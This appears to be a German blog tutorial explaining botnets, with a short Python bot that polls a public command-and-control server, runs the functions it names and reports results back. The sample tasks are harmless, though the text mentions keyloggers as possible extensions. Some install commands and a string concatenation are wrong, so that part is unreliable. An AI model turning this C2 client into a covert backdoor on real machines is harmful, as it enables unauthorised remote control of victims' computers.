Kategorien
IT-Security Programmieren

Easy Bot

Heute tauchen wir in die Welt der Hacker ein und schreiben einen Trojaner. Eigentlich ist es nur ein Bot, aber dazu kommen wir gleich. Ich wollte schon länger darüber schreiben, habe es aber immer wieder verschoben, da es sich doch um ein umfangreiches Thema handelt. Dir sollte bewusst sein, dass es illegal ist fremde System zu hacken.

In der Internet-Security-Branche gibt es viele verschiedene Begriffe, die häufig falsch verwendet werden. Wir wollen uns heute alles rund um das Bot-Netz angucken. Bei einem Bot-Netz wird der infizierte PC von dem Angreifer ferngesteuert. Dies geschieht nicht nur mit einem PC, sondern mit einem ganzen Netzwerk von Rechnern. Die Schadsoftware für diese Aufgabe wird Bot, Kurzform von Roboter, genannt. Die Software wird meistens mit einem Trojaner installiert. Sie versteckt sich in einem harmlosen Programm und arbeitet nur im Hintergrund. Mit einem Bot wird für den Angreifer ein Backdoor (Hintertür) installiert. Wer mehr über die verschiedenen Schadsoftware erfahren will, sollte sich cert.uni-stuttgart.de umgucken. Empfehlenswert ist auch das Malwaremuseum.

Der Bot

Erstelle eine Datei mit dem Namen bot.py und folgendem Inhalt:

from time import sleep
from requests import post

id = '...'
pw = '...'

def get_task():
    payload = {'id': id, 'pw': pw}
    r = post('http://easybot.short-report.de/api/get.php', data=payload)
    return r.json()

def send_result(task_id, result):
    payload = {'id': id, 'task': task_id, 'result': result}
    r = post('http://easybot.short-report.de/api/send.php', data=payload) 

def run(timeout=60):
    print('[*] Start Bot', id)
    while True:
        for task in get_task():    
            print('[*] run task', task['id'])            
            try:
                result = globals()[task['cmd']]()
                send_result(task['id'], result)
                print('    OKAY') 
            except Exception as e:
                print('    ERROR')  
                send_result(task['id'], 'ERROR: '+str(e))                

        print('[*] sleep...')
        for i in range(timeout):
            sleep(1)  

def hello():
    return 'Hello I''m'+id

if __name__ == '__main__':
    run(10)

Die ID und das Passwort kannst du frei wählen. Eventuell muss noch das Paket „request“ installiert werden.

sudo -H pip3 install request

Starte den Bot mit

python3 bot.py

Du solltest nun folgendes in der Konsole sehen.

Der Bot bekommt seine Befehle von der Seite EasyBot. Erstelle für deinen Bot eine Aufgabe. Dafür benötigst du die ID und das Passwort von eben. In das Feld „Befehl“ schreibst du „hello“.

Jetzt sollte der Bot deinen Befehl ausführen. In der Konsole sollte folgendes zu sehen sein

Auch auf der Seite wird das Ergebnis dargestellt.

Glückwunsch, der Bot funktioniert. Wie du siehst, benötigen wir nur 37 Zeilen um den Bot zu programmieren. Dieser Bot ist funktional aufgebaut, was zwar einfach zu verstehen ist, aber nicht besonders praktisch ist. Für jetzt reicht es dennoch völlig aus. Ich habe bereits einen Objektorientierten Bot geschrieben, diesen möchte ich aber an anderer Steller vorstellen.

Die ID und das Passwort werden für die Kommunikation mit dem Server benötigt. Mit den beiden Funktionen „get_task“ (Zeile 7-10) und „send_result“ (Zeile 12-14) wird die Kommunikation zum Server realisiert. „get_task“ holt neue Aufgaben von dem Server und „send_result“ speichert das Ergebnis einer Aufgabe auf dem Server. Kern des Bots ist die Funktion „run“ (Zeile 16-31). Hier wird in einer Endlosschleife immer wieder der Server nach neuen Aufgaben gefragt. Diese Aufgabe wird dann ausgeführt und anschließend das Ergebnis zum Server gesendet. Jetzt ruht sich der Bot eine Weile aus und macht nichts. Diese Zeitspanne kann der Funktion als Parameter übergeben werden. Die Aufgaben, welche von dem Bot ausgeführt werden, sind Funktionen. Diese werden in Zeile 23 aufgerufen. Jede Funktion, die als Aufgabe für den Bot gedacht ist, sollte einen Rückgabewert haben, da dieser zurück zum Server geschickt wird. Die Beispiel Aufgabe „hello“, bzw. die Funktion „hello“ (Zeile 33-34) macht nichts anderes als eine Zeichenkette zurück zugeben. Jetzt wo du die Grundlagen des Bots verstanden hast, ist die Zeit gekommen ihn anzupassen. Er soll deine Aufgaben ausführen.

Um den Bot weitere Aufgaben machen zu lassen, müssen diese programmiert werden. Dafür muss eine Funktion geschrieben werden. Um die Funktion zu starten, muss ihr Name auf dem Server gesetzt werden. Hier kann jede beliebige Aufgabe programmiert werden, sei es ein Key-Logger, das manipulieren von Inhalten oder aktiviere besondere Dienste. Als Beispiel wollen wir eine Homepage mit dem Browser öffnen. So eine Aufgabe kann mit folgenden Funktion realisiert werden.

from time import sleep 
from requests import post
import webbrowser

#...

def opensr():
    url = 'http://blog.short-report.de'
    webbrowser.open(url)
    return 'open '+url

def hello():
    return 'Hello I''m'+id

#...

Nicht vergessen „webbrowser“ zu importieren und zu speichern. Eventuell muss das Paket „webbrowser“ auch noch installiert werden.

sudo -H pip3 install webbrowser

Mit

python3 bot.py

wird der Bot wieder ausgeführt. Nun kann auf dem Server die Aufgabe „opensr“ aktiviert werden. Jetzt sollte sich ein Browser mit der Homepage öffnen und auf dem Server ein Ergebnis zu sehen sein. Du kannst nun nach Lust und Laune weitere Funktionen hinzufügen.

Funktionsweise

In unserem lokalen Netzwerk sind wir von direkten zugriffen aus dem Internet geschützt. Dafür sorgt der Router. Er verbindet alle lokale Geräte mit dem Internet und koordiniert die Datenübertragungen. Einfach gesagt, lässt er alle ausgehenden Anfragen durch und blockiert alle eingehenden Anfragen. Um mit dem Bot kommunizieren zu können, wird daher ein kleiner Trick verwendet. Da eingehende Verbindungen nicht möglich sind, erstellt der Bot eine ausgehende Verbindung mit dem Server. Solche Server werden in der Regel Command&Control-Server genant. Auf diesem Server werden die Aufgaben für den Bot hinterlegt. Hat der Bot seine Aufgabe erledigt, so übermittelt er dies ebenfalls dem Server.

C&C-Server

Für dieses kleine Tutorial, habe ich einen Test-Server erstellt. Hier kann jeder seinen eigenen Bot kontrollieren. Jeder Bot braucht eine eindeutige ID, darum sollte deine ID zufällig sein und mindestens 32 Zeichen lang. Zu jedem Befehl wird auch das Passwort benötigt. Nur wenn das Passwort des Befehls, mit dem Passwort des Bots übereinstimmt, wird die Aufgabe übermittelt. Dies soll verhindern, dass andere Personen deinen Bot steuern können. Jedem der die ID des Bots bekannt ist, kann auch seine Ergebnisse sehen. Aber nur derjenige der das Passwort kennt, kann ihm Aufgaben geben.

Der Quellcode ist auf GitHub zu finden. Wie immer freue ich mich über Rückmeldungen und Kommentare.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.